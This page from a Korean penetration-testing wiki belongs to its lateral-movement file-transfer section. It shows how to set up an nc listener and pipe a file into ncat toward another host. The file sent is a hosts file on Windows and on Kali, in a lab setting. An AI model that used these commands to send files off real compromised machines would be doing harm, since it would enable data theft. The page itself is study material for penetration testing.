펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. 측면 이동
  2. File Transfer

ncat

ncat은 파이프라인을 통해 간단한 데이터 전송이 가능합니다.

침투한 OS가 Windows일 때 ncat 혹은 nc 도구 사용이 가능하다면 Kali 로컬에서 포트를 열어둡니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# nc -lvnp 4444                          
listening on [any] 4444 ..

그리고 전송하고자 하는 파일을 more 등으로 읽은 후 파이프 라인을 사용하여 ncat 도구를 통해 로컬 서버의 포트에 데이터를 전송합니다.

more C:\Windows\System32\drivers\etc\hosts | ncat 192.168.200.132 4444

침투한 OS가 Windows일 때 ncat 혹은 nc 도구 사용이 가능하다면 Windows 로컬에서 포트를 열어둡니다.

PS C:\Windows\Temp> ncat -lvnp 9999
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999

그리고 전송하고자 하는 파일을 cat 등으로 읽은 후 파이프 라인을 사용하여 ncat 도구를 통해 로컬 서버의 포트에 데이터를 전송합니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat /etc/hosts | nc 192.168.133.1 9999 
PreviousZIPNextPython

Last updated 15 days ago

Was this helpful?